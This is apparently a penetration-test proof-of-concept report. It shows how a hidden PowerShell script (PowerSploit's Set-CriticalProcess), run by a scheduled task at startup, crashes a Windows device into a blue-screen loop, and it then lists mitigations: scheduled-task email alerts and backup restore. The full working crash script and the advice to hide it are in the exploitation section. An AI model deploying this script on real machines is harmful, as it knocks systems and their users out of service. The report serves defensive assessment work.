# POC 3 - Denial of Service Attack on Boot Up of Device

## Description

Denial of Service (DoS) attack is an attack that affects the availability of services towards the users. While availability can be restored, if a prolonged attack occurs, systems may be damaged.

The Windows Server hosts numerous features and services that organizations can leverage. This includes, but is not limited to, Active Directory, File and Storage Services, web services, and more.

When a DoS attack is launched on these services, organisations are widely affected as these services play an important role and service towards the organisation.

This attack aims to outline the threats posed to the organisation from a Denial of Service attack making use of a PowerShell script extracted from the PowerSploit module.

## Steps to Carry Out Exploitation

1. Create a script with the following content and save it in a file locations where it will seem normal

File Location:

C:\Users\$username\Documents\WindowsPowerShell\Scripts\InstalledScriptInfos

File Name:

Startup.ps1

Script Content:

function Set-CriticalProcess  
{  
 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]  
 [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]  
 Param (  
 [Switch]  
 $Force,  
  
 [Switch]  
 $ExitImmediately  
 )  
  
 if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))  
 {  
 throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'  
 }  
  
 $Response = $True  
  
 if (!$Force)  
 {  
 $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')  
 }  
  
 if (!$Response)  
 {  
 return  
 }  
  
 $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')  
 $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)  
 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)  
  
 # Define [ntdll]::NtQuerySystemInformation method  
 $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')  
 $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',  
 'ntdll.dll',  
 ([Reflection.MethodAttributes] 'Public, Static'),  
 [Reflection.CallingConventions]::Standard,  
 [Int32],  
 [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),  
 [Runtime.InteropServices.CallingConvention]::Winapi,  
 [Runtime.InteropServices.CharSet]::Auto)  
  
 $ntdll = $TypeBuilder.CreateType()  
  
 $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle  
 $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)  
  
 $ProcessBreakOnTermination = 29  
 $SizeUInt32 = 4  
  
 try  
 {  
 $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)  
 }  
 catch  
 {  
 return  
 }  
  
 Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'  
  
 if ($ExitImmediately)  
 {  
 Stop-Process -Id $PID  
 }  
}  
  
Set-CriticalProcess -Force -Verbose -ExitImmediately

1. Schedule a task using Task Scheduler to run this script on startup of device

**A screenshot of a computer program

Description automatically generated**

A screenshot of a computer program

Description automatically generated

Task Scheduler General Options

**A screenshot of a computer

Description automatically generated**

A screenshot of a computer program

Description automatically generated

Task Scheduler New Trigger Options

**A screenshot of a computer

Description automatically generated**

A screenshot of a computer program

Description automatically generated

Task Scheduler New Actions Options

**A screen shot of a computer

Description automatically generated**

A screenshot of a computer task

Description automatically generated

Task Scheduler Condition Options

**A screenshot of a computer

Description automatically generated**

A screenshot of a task

Description automatically generated

Task Scheduler Settings Options

1. Run the script
2. Notice that the device keeps getting a Blue Screen of Death (BSOD) when the user logs in

A screenshot of a blue screen

Description automatically generated

Blue Screen of Death

## Possible Mitigations and Recommendations

1. [Notify Administrators of New Scheduled Tasks](#Xea5f76b9cd83a159c49b9947a28887dcae9077b)
2. [Backup Device and Roll Back Machine](#backup-device-and-roll-back-machine)
3. Installing anti-DoS software or hardware

### Notify Administrators of New Scheduled Tasks

While tasks are being constantly scheduled within systems to perform an update of system, scanning for malicious files, etc., threat actors can make use of scheduled tasks as an advantage to schedule exploits to run on start up or at different times of the day.

To combat this, one method is to notify the administrators of any new scheduled tasks to allow administrators to further look into and investigate any newly scheduled task which may pose a potential threat towards the organisations active directory.

#### Steps to Notify Administrators of New Scheduled Tasks

1. Create a PowerShell script like the following modifying the information accordingly

# Define the event ID to monitor for task creation  
$EventId = 106  
  
# Get the latest event that matches the specified event ID from the Task Scheduler log  
$Event = Get-WinEvent -MaxEvents 1 -FilterHashTable @{  
 LogName = 'Microsoft-Windows-TaskScheduler/Operational'  
 ID = $EventId  
} | Select-Object Id, Message, MachineName, ProviderName  
  
# Check if an event is found  
if ($Event) {  
 # Email configuration  
 $EmailFrom = "your-email@example.com"  
 $EmailTo = "recipient@example.com"  
 $Subject = "Task Created Alert - $($Event.MachineName)"  
 $Body = "EventID: $($Event.Id)`nSource: $($Event.ProviderName)`nMachineName: $($Event.MachineName)`nMessage: $($Event.Message)"  
  
 # SMTP Server configuration for a generic mail server  
 $SMTPServer = "mail.example.com"  
 $SMTPPort = 587  
 $SMTPUsername = "your-email@example.com"  
 $encrypted = Get-Content c:scriptsencrypted\_password.txt | ConvertTo-SecureString  
 $credential = New-Object System.Management.Automation.PsCredential($SMTPUsername, $encrypted)  
  
 # Create and configure the SMTP client  
 $SMTPClient = New-Object Net.Mail.SmtpClient($SMTPServer, $SMTPPort)  
 $SMTPClient.EnableSsl = $true  
 $SMTPClient.Credentials = $credential  
  
 # Send the email  
 $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)  
  
 Write-Host "Email sent successfully."  
} else {  
 Write-Host "No matching event found."  
}

1. Test that the email is able to be sent by running the PowerShell Script
2. Open Event Viewer and navigate to the following path Applications and Services > Microsoft > Windows > Task Scheduler > Operational

A screenshot of a computer

Description automatically generated

Event Viewer Task Scheduler Operational Tab

1. Filter the current log to show all logs with an Event ID of 106

A screenshot of a computer

Description automatically generated

Filtering Event Log with Event ID 106

A screenshot of a computer

Description automatically generated

Filtered Event Log

1. Right Click the Task and Attach Task To This Event

A screenshot of a computer

Description automatically generated

Right Click Options

1. Create the task with the following details

A screenshot of a computer error

Description automatically generated

A screenshot of a computer

Description automatically generated

Creating Basic Task

**A screenshot of a computer program

Description automatically generated**

A screenshot of a program

Description automatically generated

Task Scheduler Actions Options

1. Verify that the settings are configured as per follows

A screenshot of a computer

Description automatically generated

Task Scheduler Summary

1. Check the Open Properties dialog for the task when I click Finish option
2. Further modify the following from the properties dialog

**General Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler General

**Conditions Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler Conditions

**Settings Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler Settings

**Account Login Prompt**

A computer screen shot of a computer

Description automatically generated

Task Scheduler Account Login

1. Trigger the task and check that an email notification is triggered

### Backup Device and Roll Back Machine

The backing up of device allows users to quickly rollback the system to the last usable backup. While the threat actor may attempt to damage the system, if a backup is made, the system can easily be rolled back.

#### Steps to Backup Device and Roll Back Machine

1. Bootup the device and enter the advanced options menu by pressing the SHIFT key while booting up device
2. Click the Troubleshoot option

A screenshot of a computer program

Description automatically generated

Advanced Options Menu

1. Click System Image Recovery

A screenshot of a computer

Description automatically generated

Advanced Options Menu

1. Insert the external device with the backup image and follow the instructions to restore the system to the last working system backup

A screenshot of a computer backup

Description automatically generated

Reimage Device Prompt

## References

[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)  
[Running PowerShell Script without displaying Window](https://stackoverflow.com/questions/1802127/how-to-run-a-powershell-script-without-displaying-a-window)  
[Start your PC in safe mode in Windows](https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-92c27cff-db89-8644-1ce4-b3e5e56fe234)